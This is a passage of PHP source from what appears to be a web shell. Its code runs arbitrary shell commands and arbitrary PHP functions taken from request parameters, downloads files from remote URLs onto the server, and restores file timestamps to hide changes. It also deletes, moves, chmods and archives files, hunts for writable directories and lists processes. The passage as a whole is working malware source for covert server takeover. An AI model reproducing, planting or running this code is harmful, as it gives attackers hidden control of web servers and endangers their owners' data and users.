5236
5237 $in = array_unique(explode(";",$search_in));
5238
5239 foreach($in as $v) {cafsearch($v);}
5240
5241 $searchtime = round(getmicrotime()-$searchtime,4);
5242
5243 if (count($found) == 0) {echo "No files found!";}
5244
5245 else {
5246
5247 $ls_arr = $found;
5248
5249 $disp_fullpath = TRUE;
5250
5251 $x = "ls";
5252
5253 }
5254
5255 }
5256
5257 echo "<table class=contents>".
5258
5259 "<tr><td><form method=POST>".
5260
5261 "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">".
5262
5263 "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
5264
5265 "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
5266
5267 "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
5268
5269 "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
5270
5271 " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
5272
5273 " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
5274
5275 " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
5276
5277 "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
5278
5279 "</table>";
5280
5281 if ($x == "ls") {
5282
5283 $dspact = $x;
5284
5285 echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
5286
5287 "<hr size=\"1\" noshade>";
5288
5289 }
5290
5291}
5292
5293if ($x == "chmod") {
5294
5295 $mode = fileperms($d.$f);
5296
5297 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
5298
5299 else {
5300
5301 $form = TRUE;
5302
5303 if ($chmod_submit)
5304
5305 {
5306
5307 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
5308
5309 if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
5310
5311 else {$err = "Can't chmod to ".$octet.".";}
5312
5313 }
5314
5315 if ($form)
5316
5317 {
5318
5319 $perms = parse_perms($mode);
5320
5321 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
5322
5323 }
5324
5325}
5326
5327}
5328
5329if ($x == "upload") {
5330
5331 $uploadmess = "";
5332
5333 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
5334
5335 if (empty($uploadpath)) {$uploadpath = $d;}
5336
5337 elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
5338
5339 if (!empty($submit)) {
5340
5341 global $_FILES;
5342
5343 $uploadfile = $_FILES["uploadfile"];
5344
5345 if (!empty($uploadfile["tmp_name"])) {
5346
5347 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
5348
5349 else {$destin = $userfilename;}
5350
5351 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
5352
5353 $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
5354
5355 }
5356
5357 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
5358
5359 }
5360
5361 elseif (!empty($uploadurl)) {
5362
5363 if (!empty($uploadfilename)) {$destin = $uploadfilename;}
5364
5365 else {
5366
5367 $destin = explode("/",$destin);
5368
5369 $destin = $destin[count($destin)-1];
5370
5371 if (empty($destin)) {
5372
5373 $i = 0;
5374
5375 $b = "";
5376
5377 while(file_exists($uploadpath.$destin)) {
5378
5379 if ($i > 0) {$b = "_".$i;}
5380
5381 $destin = "upload".$b;
5382
5383 $i++;
5384
5385 }
5386
5387 }
5388
5389 }
5390
5391 if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
5392
5393 else {
5394
5395 $st = getmicrotime();
5396
5397 $content = @file_get_contents($uploadurl);
5398
5399 $dt = round(getmicrotime()-$st,4);
5400
5401 if (!$content) {$uploadmess .= "Can't download file!";}
5402
5403 else {
5404
5405 if ($filestealth) {$stat = stat($uploadpath.$destin);}
5406
5407 $fp = fopen($uploadpath.$destin,"w");
5408
5409 if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
5410
5411 else {
5412
5413 fwrite($fp,$content,strlen($content));
5414
5415 fclose($fp);
5416
5417 if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
5418
5419 $uploadmess .= "File saved from ".$uploadurl." !";
5420
5421 }
5422
5423 }
5424
5425 }
5426
5427 }
5428
5429 else { echo "No file to upload!"; }
5430
5431 }
5432
5433 if ($miniform) {
5434
5435 echo "<b>".$uploadmess."</b>";
5436
5437 $x = "ls";
5438
5439 }
5440
5441 else {
5442
5443 echo "<table><tr><td colspan=2 class=barheader>".
5444
5445 ".: File Upload :.</td>".
5446
5447 "<td colspan=2>".$uploadmess."</td></tr>".
5448
5449 "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
5450
5451 "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
5452
5453 "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
5454
5455 "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
5456
5457 "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
5458
5459 "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
5460
5461 "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
5462
5463 "</form></td></tr></table>";
5464
5465 }
5466
5467}
5468
5469
5470
5471
5472if ($x == "delete") {
5473
5474 $delerr = "";
5475
5476 foreach ($actbox as $v) {
5477
5478 $result = FALSE;
5479
5480 $result = fs_rmobj($v);
5481
5482 if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
5483
5484 }
5485
5486 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
5487
5488 $x = "ls";
5489
5490}
5491
5492if (!$usefsbuff) {
5493
5494 if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
5495
5496}
5497
5498else {
5499
5500 if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
5501
5502 elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
5503
5504 elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
5505
5506 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
5507
5508 elseif ($actpastebuff) {
5509
5510 $psterr = "";
5511
5512 foreach($sess_data["copy"] as $k=>$v) {
5513
5514 $to = $d.basename($v);
5515
5516 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
5517
5518 if ($copy_unset) {unset($sess_data["copy"][$k]);}
5519
5520 }
5521
5522 foreach($sess_data["cut"] as $k=>$v) {
5523
5524 $to = $d.basename($v);
5525
5526 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
5527
5528 unset($sess_data["cut"][$k]);
5529
5530 }
5531
5532 ca_sess_put($sess_data);
5533
5534 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
5535
5536 $x = "ls";
5537
5538 }
5539
5540 elseif ($actarcbuff) {
5541
5542 $arcerr = "";
5543
5544 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
5545
5546 else {$ext = ".tar.gz";}
5547
5548 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
5549
5550 $cmdline .= " ".$actarcbuff_path;
5551
5552 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
5553
5554 foreach($objects as $v) {
5555
5556 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
5557
5558 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
5559
5560 if (is_dir($v)) {
5561
5562 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
5563
5564 $v .= "*";
5565
5566 }
5567
5568 $cmdline .= " ".$v;
5569
5570 }
5571
5572 $tmp = realpath(".");
5573
5574 chdir($d);
5575
5576 $ret = myshellexec($cmdline);
5577
5578 chdir($tmp);
5579
5580 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
5581
5582 $ret = str_replace("\r\n","\n",$ret);
5583
5584 $ret = explode("\n",$ret);
5585
5586 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
5587
5588 foreach($sess_data["cut"] as $k=>$v) {
5589
5590 if (in_array($v,$ret)) {fs_rmobj($v);}
5591
5592 unset($sess_data["cut"][$k]);
5593
5594 }
5595
5596 ca_sess_put($sess_data);
5597
5598 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
5599
5600 $x = "ls";
5601
5602 }
5603
5604 elseif ($actpastebuff) {
5605
5606 $psterr = "";
5607
5608 foreach($sess_data["copy"] as $k=>$v) {
5609
5610 $to = $d.basename($v);
5611
5612 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
5613
5614 if ($copy_unset) {unset($sess_data["copy"][$k]);}
5615
5616 }
5617
5618 foreach($sess_data["cut"] as $k=>$v) {
5619
5620 $to = $d.basename($v);
5621
5622 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
5623
5624 unset($sess_data["cut"][$k]);
5625
5626 }
5627
5628 ca_sess_put($sess_data);
5629
5630 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
5631
5632 $x = "ls";
5633
5634 }
5635
5636}
5637
5638if ($x == "cmd") {
5639
5640 @chdir($chdir);
5641
5642 if (!empty($submit)) {
5643
5644 echo "<div class=barheader>.: Result of Command Execution :.</div>";
5645
5646 $olddir = realpath(".");
5647
5648 @chdir($d);
5649
5650 $ret = myshellexec($cmd);
5651
5652 $ret = convert_cyr_string($ret,"d","w");
5653
5654 if ($cmd_txt) {
5655
5656 $rows = count(explode("\r\n",$ret))+1;
5657
5658 if ($rows < 10) {$rows = 10; }
5659
5660 if ($msie) { $cols = 113; }
5661
5662 else { $cols = 117;}
5663
5664 echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
5665
5666 }
5667
5668 else {echo $ret."<br>";}
5669
5670 @chdir($olddir);
5671
5672 }
5673
5674 else {
5675
5676 echo "<b>Command Execution</b>";
5677
5678 if (empty($cmd_txt)) {$cmd_txt = TRUE;}
5679
5680 }
5681
5682}
5683
5684if ($x == "ls") {
5685
5686 if (count($ls_arr) > 0) { $list = $ls_arr; }
5687
5688 else {
5689
5690 $list = array();
5691
5692 if ($h = @opendir($d)) {
5693
5694 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
5695
5696 closedir($h);
5697
5698 }
5699
5700 }
5701
5702 if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
5703
5704 else {
5705
5706 $objects = array();
5707
5708 $vd = "f";
5709
5710 if ($vd == "f") {
5711
5712 $objects["head"] = array();
5713
5714 $objects["folders"] = array();
5715
5716 $objects["links"] = array();
5717
5718 $objects["files"] = array();
5719
5720 foreach ($list as $v) {
5721
5722 $o = basename($v);
5723
5724 $row = array();
5725
5726 if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
5727
5728 elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
5729
5730 elseif (is_dir($v)) {
5731
5732 if (is_link($v)) {$type = "LINK";}
5733
5734 else {$type = "DIR";}
5735
5736 $row[] = $v;
5737
5738 $row[] = $type;
5739
5740 }
5741
5742 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
5743
5744 $row[] = filemtime($v);
5745
5746 if (!$win) {
5747
5748 $ow = posix_getpwuid(fileowner($v));
5749
5750 $gr = posix_getgrgid(filegroup($v));
5751
5752 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
5753
5754 }
5755
5756 $row[] = fileperms($v);
5757
5758 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
5759
5760 elseif (is_link($v)) {$objects["links"][] = $row;}
5761
5762 elseif (is_dir($v)) {$objects["folders"][] = $row;}
5763
5764 elseif (is_file($v)) {$objects["files"][] = $row;}
5765
5766 $i++;
5767
5768 }
5769
5770 $row = array();
5771
5772 $row[] = "<b>Name</b>";
5773
5774 $row[] = "<b>Size</b>";
5775
5776 $row[] = "<b>Date Modified</b>";
5777
5778 if (!$win) {$row[] = "<b>Owner/Group</b>";}
5779
5780 $row[] = "<b>Perms</b>";
5781
5782 $row[] = "<b>Action</b>";
5783
5784 $parsesort = parsesort($sort);
5785
5786 $sort = $parsesort[0].$parsesort[1];
5787
5788 $k = $parsesort[0];
5789
5790 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
5791
5792 $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
5793
5794 $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
5795
5796 $row[$k] .= $y;
5797
5798 for($i=0;$i<count($row)-1;$i++) {
5799
5800 if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
5801
5802 }
5803
5804 $v = $parsesort[0];
5805
5806 usort($objects["folders"], "tabsort");
5807
5808 usort($objects["links"], "tabsort");
5809
5810 usort($objects["files"], "tabsort");
5811
5812 if ($parsesort[1] == "d") {
5813
5814 $objects["folders"] = array_reverse($objects["folders"]);
5815
5816 $objects["files"] = array_reverse($objects["files"]);
5817
5818 }
5819
5820 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
5821
5822 $tab = array();
5823
5824 $tab["cols"] = array($row);
5825
5826 $tab["head"] = array();
5827
5828 $tab["folders"] = array();
5829
5830 $tab["links"] = array();
5831
5832 $tab["files"] = array();
5833
5834 $i = 0;
5835
5836 foreach ($objects as $a) {
5837
5838 $v = $a[0];
5839
5840 $o = basename($v);
5841
5842 $dir = dirname($v);
5843
5844 if ($disp_fullpath) {$disppath = $v;}
5845
5846 else {$disppath = $o;}
5847
5848 $disppath = str2mini($disppath,60);
5849
5850 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
5851
5852 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
5853
5854 foreach ($regxp_highlight as $r) {
5855
5856 if (ereg($r[0],$o)) {
5857
5858 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
5859
5860 else {
5861
5862 $r[1] = round($r[1]);
5863
5864 $isdir = is_dir($v);
5865
5866 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
5867
5868 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
5869
5870 $disppath = $r[2].$disppath.$r[3];
5871
5872 if ($r[4]) {break;}
5873
5874 }
5875
5876 }
5877
5878 }
5879
5880 }
5881
5882 $uo = urlencode($o);
5883
5884 $ud = urlencode($dir);
5885
5886 $uv = urlencode($v);
5887
5888 $row = array();
5889
5890 if ($o == ".") {
5891
5892 $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> ".$o."</a>";
5893
5894 $row[] = "CURDIR";
5895
5896 }
5897
5898 elseif ($o == "..") {
5899
5900 $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
5901
5902 $row[] = "UPDIR";
5903
5904 }
5905
5906 elseif (is_dir($v)) {
5907
5908 if (is_link($v)) {
5909
5910 $disppath .= " => ".readlink($v);
5911
5912 $type = "LINK";
5913
5914 $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
5915
5916 }
5917
5918 else {
5919
5920 $type = "DIR";
5921
5922 $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
5923
5924 }
5925
5926 $row[] = $type;
5927
5928 }
5929
5930 elseif(is_file($v)) {
5931
5932 $ext = explode(".",$o);
5933
5934 $c = count($ext)-1;
5935
5936 $ext = $ext[$c];
5937
5938 $ext = strtolower($ext);
5939
5940 $row[] = "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
5941
5942 $row[] = view_size($a[1]);
5943
5944 }
5945
5946 $row[] = date("d.m.Y H:i:s",$a[2]);
5947
5948 if (!$win) {$row[] = $a[3];}
5949
5950 $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
5951
5952 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
5953
5954 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
5955
5956 if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
5957
5958 else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
5959
5960 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
5961
5962 elseif (is_link($v)) {$tab["links"][] = $row;}
5963
5964 elseif (is_dir($v)) {$tab["folders"][] = $row;}
5965
5966 elseif (is_file($v)) {$tab["files"][] = $row;}
5967
5968 $i++;
5969
5970 }
5971
5972 }
5973
5974 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
5975
5976 echo "<div class=barheader>.: ";
5977
5978 if (!empty($fx_infohead)) { echo $fx_infohead; }
5979
5980 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
5981
5982 echo " :.</div>\n";
5983
5984 echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
5985
5986 "<table class=explorer>";
5987
5988 foreach($table as $row) {
5989
5990 echo "<tr>";
5991
5992 foreach($row as $v) {echo "<td>".$v."</td>";}
5993
5994 echo "</tr>\r\n";
5995
5996 }
5997
5998 echo "</table>".
5999
6000 "<script>".
6001
6002 "function ls_setcheckboxall(status) {".
6003
6004 " var id = 1; var num = ".(count($table)-2).";".
6005
6006 " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
6007
6008 "}".
6009
6010 "function ls_reverse_all() {".
6011
6012 " var id = 1; var num = ".(count($table)-2).";".
6013
6014 " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
6015
6016 "}".
6017
6018 "</script>".
6019
6020 "<div align=\"right\">".
6021
6022 "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
6023
6024 "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
6025
6026 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
6027
6028 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
6029
6030 }
6031
6032 echo "<select name=x><option value=\"".$x."\">With selected:</option>";
6033
6034 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
6035
6036 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
6037
6038 if ($usefsbuff) {
6039
6040 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
6041
6042 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
6043
6044 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
6045
6046 }
6047
6048 echo "</select> <input type=submit value=\"Confirm\"></div>";
6049
6050 echo "</form>";
6051
6052 }
6053
6054}
6055
6056if ($x == "tools")
6057
6058{
6059
6060
6061
6062}
6063
6064if ($x == "phpfsys") {
6065
6066 echo "<div align=left>";
6067
6068 $fsfunc = $phpfsysfunc;
6069
6070 if ($fsfunc=="copy") {
6071
6072 if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
6073
6074 else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
6075
6076 }
6077
6078 elseif ($fsfunc=="rename") {
6079
6080 if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
6081
6082 else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
6083
6084 }
6085
6086 elseif ($fsfunc=="chmod") {
6087
6088 if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
6089
6090 else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
6091
6092 }
6093
6094 elseif ($fsfunc=="read") {
6095
6096 $hasil = @file_get_contents($arg1);
6097
6098 echo "<b>Filename:</b> $arg1<br>";
6099
6100 echo "<textarea cols=150 rows=20>";
6101
6102 echo $hasil;
6103
6104 echo "</textarea>\n";
6105
6106 }
6107
6108 elseif ($fsfunc=="write") {
6109
6110 if(@file_put_contents($d.$arg1,$arg2)) {
6111
6112 echo "<b>Saved!</b> ".$d.$arg1;
6113
6114 }
6115
6116 else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
6117
6118 }
6119
6120 elseif ($fsfunc=="downloadbin") {
6121
6122 $handle = fopen($arg1, "rb");
6123
6124 $contents = '';
6125
6126 while (!feof($handle)) {
6127
6128 $contents .= fread($handle, 8192);
6129
6130 }
6131
6132 $r = @fopen($d.$arg2,'w');
6133
6134 if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
6135
6136 else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
6137
6138 fclose($r);
6139
6140 fclose($handle);
6141
6142 }
6143
6144 elseif ($fsfunc=="download") {
6145
6146 $text = implode('', file($arg1));
6147
6148 if ($text) {
6149
6150 $r = @fopen($d.$arg2,'w');
6151
6152 if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
6153
6154 else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
6155
6156 fclose($r);
6157
6158 }
6159
6160 else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
6161
6162 }
6163
6164 elseif ($fsfunc=='mkdir') {
6165
6166 $thedir = $d.$arg1;
6167
6168 if ($thedir != $d) {
6169
6170 if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
6171
6172 elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
6173
6174 else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
6175
6176 }
6177
6178 else { echo "Couldn't create current dir:<b> $thedir</b>"; }
6179
6180 }
6181
6182 elseif ($fsfunc=='fwritabledir') {
6183
6184 function recurse_dir($dir,$max_dir) {
6185
6186 global $dir_count;
6187
6188 $dir_count++;
6189
6190 if( $cdir = @dir($dir) ) {
6191
6192 while( $entry = $cdir-> read() ) {
6193
6194 if( $entry != '.' && $entry != '..' ) {
6195
6196 if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
6197
6198 if ($dir_count > $max_dir) { return; }
6199
6200 echo "[".$dir_count."] ".$dir.$entry."\n";
6201
6202 recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
6203
6204 }
6205
6206 }
6207
6208 }
6209
6210 $cdir->close();
6211
6212 }
6213
6214 }
6215
6216 if (!$arg1) { $arg1 = $d; }
6217
6218 if (!$arg2) { $arg2 = 10; }
6219
6220 echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
6221
6222 echo "<pre>";
6223
6224 recurse_dir($arg1,$arg2);
6225
6226 echo "</pre>";
6227
6228 $total = $dir_count - 1;
6229
6230 echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
6231
6232 }
6233
6234 else {
6235
6236 if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
6237
6238 else {
6239
6240 if ($hasil = $fsfunc($arg1)) {
6241
6242 echo "<b>Result of $fsfunc $arg1:</b><br>";
6243
6244 if (!is_array($hasil)) { echo "$hasil\n"; }
6245
6246 else {
6247
6248 echo "<pre>";
6249
6250 foreach ($hasil as $v) { echo $v."\n"; }
6251
6252 echo "</pre>";
6253
6254 }
6255
6256 }
6257
6258 else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
6259
6260 }
6261
6262 }
6263
6264 echo "</div>\n";
6265
6266}
6267
6268if ($x == "processes") {
6269
6270 echo "<div class=barheader>.: Processes :.</div>";
6271
6272 if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
6273
6274 else { $handler = "tasklist"; }
6275
6276 $ret = myshellexec($handler);
6277
6278 if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
6279
